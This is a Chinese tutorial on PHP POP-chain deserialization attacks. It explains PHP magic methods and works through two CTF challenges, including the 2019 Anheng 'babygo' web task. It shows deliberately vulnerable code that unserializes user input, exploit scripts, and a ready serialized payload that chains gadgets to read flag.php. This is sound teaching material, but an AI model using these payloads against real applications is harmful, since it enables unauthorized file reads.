POP链实例解析学习
写在前面
POP链
就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
,实战应用范围暂时没遇到,不过在CTF
比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。
基本魔法方法
我用的代码如下:
<?php
class A{
public $a="hi";
public $b="no";
function __construct()
{
$this->a="hiiiii!";
echo $this->a."\n";
echo "this is construct\n";
}
function __wakeup()
{
echo "this is wakeup\n";
}//反序列化之前
function __destruct()
{
echo "this is destruct\n";
}//反序列化时会最后才触发
function __toString()
{
return "this is tostring\n";
}
function __call($name, $arguments)
{
echo "this is call\n";
}
function __get($a)
{
echo "this is get\n";
}
function __invoke()
{
echo "this is invoke\n";
}//尝试当作函数
function say_hi()
{
echo "hiuhiu\n";
}
}
$aa=new A();// 所有最后都还要析构一次,对象的消失
$aa->say_hi();
$bb=serialize($aa);
$cc=unserialize($bb);
echo $aa;// 作为字符串用时触发 tostring
$aa->say_no(); //call
$aa->c; //get
$aa(); //invoke
引用
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
还有一些其他的,不过都大同小异
其实很多都是在处理对象可能产生的问题,比如强行当作字符串,强行当作函数,调用不存在的方法,调用不存在的属性,序列化,反序列化,它的消失,它的开始等等。
示例1
以下示例链接:https://blog.csdn.net/weixin_45645113/article/details/105309695
(仅使用了题目)
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}//用来欢迎
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}//用来替换
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
一开始看是非常烦人的,所以开始这里的练习之前,你需要对魔法方法比较熟悉。POP链是一环扣着一环,像一个链条一样,这也就是说它是紧密联系起来的。
我们只需找到入口和出口,任意反推或者正推就比较好解决
思路
首先这里传入数据的入口是反序列化,那就是__wakeup()
,出口那就是要读取文件,那就是 __invoke()和_show()
,一个是魔法方法,一个是普通方法。
1. 使用正推,进入wakeup后看起来是一个非常正常的函数,只能通过$this->source
来完成跳转,这里的可能有两个,一是利用属性不存在跳转__get(),二是利用将对象作为字符串使用跳转__toString()
(preg_match函数的第二个参数就是string类型)。第一个方法行不通,因为类中没有__get()方法。所以要用第二种方案,后续exp中详细说明这种方案。
2. 假设进入__toString()后,显然是需要str[‘str’]返回一个对象时去搜寻source属性,下一步就是无法搜索到这个属性就可以跳转__get(),但是这里是需要跳转到Test类才有__get(),那么就让str['str']返回的对象是Test对象
。
3. 进入__get()后,找到它的属性并强行调用方法,明显就需要跳转至__invoke(),那么就要让$this->p找到Read类中。
4. 进入__invoke()后将$var设为你想要的文件就到达出口了。
最后在书写exp时将整个思路倒过来就可以完成了,反序列内容从外到里读,写是从里到外写嘛。
将Read类的对象放入Test类的p属性中,再将上述的一堆放入str[‘str’],最后要将对象作为字符串,那么让Show类的source属性等于对象自己就可以了
exp:
<?php
class Show{
public $source;
public $str;
}
class Test {
public $p;
}
class Read{
public $var = "flag.php";
}
$s = new Show();
echo '$s : '.serialize($s)."\n";
$t = new Test();
echo '$t : '.serialize($t)."\n";
$r = new Read();
echo '$r : '.serialize($r)."\n";
$t -> p = $r;
$s ->str["str"] = $t;
$s -> source = $s;
//var_dump($s);
var_dump(serialize($s));
$s : O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}
$t : O:4:"Test":1:{s:1:"p";N;}
$r : O:4:"Read":1:{s:3:"var";s:8:"flag.php";}
string(121) "O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}"
payload:
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}
在编写payload时重要的就是装载方式,找到跳转位置,即能够像链条一样串起整个思路。
示例2(2019安恒一月月赛web1-babygo)
现在来看看反推的思路,也是比赛题。
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>
1.分析一下题目,首先非常明显,本题出口是cool类中的read方法,但是如果我们直接序列化cool类,无法触发实际方法。
2.看到在baby类中可以触发一个read(),那么也就是让$this->skyobj为cool对象
即可,不过这里是在__toString()中,正好主函数中有一个echo $Input_data;
可以进行触发。
3.触发后进入read()方法,首先就要反序列化amzing属性,将结果给nice属性,后续nice属性中有aaa,bbb两个属性,说明nice属性是baby类,也就是amzing反序列化结果是baby类。还得序列化一下baby类传到amzing
处。
4.然后又被$sth
恶意修改了一下,不知道修改成了什么,要保证它们两个属性相等,就可以让bbb属性跟随aaa变化。传一个地址就可以了。
EXP
值得注意的是,这里是一个protected
,需要从类内部操作,不能从外面赋。比如这里的skyobj属性要为对象,就不能先初始化cool对象再赋值过去, protected只能在类及其子类中用,外部不可访问
,所以要利用__construct()来初始化。
可能你还注意到,baby中的skyobj要以cool类来建立,而cool类中的amzing属性又是与baby类有关,那么究竟谁先谁后呢?
这里要小小的分析一下,cool类作为后验证的东西,它是使用baby类中的aaa等属性,和skyobj属性关系不大,所以你可以先将baby类序列化后的值赋给amzing。
但是,由于刚刚用了__construct(),当我们想要将baby类序列化后的值赋给amzing。
就会触发到,从而让__contrust()提前触发,所以还得分开,先单独序列化一下不带__construct()的baby,然后给他赋好。
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;
}
}
class cool
{
public $filename="flag.php";
public $nice;
public $amzing='O:4:"baby":3:{s:9:"\000*\000skyobj";N;s:3:"aaa";N;s:3:"bbb";N;}';
}
$b= new baby();
$b->aaa=&$b->bbb;
var_dump(urlencode(serialize($b)));
这样就完成了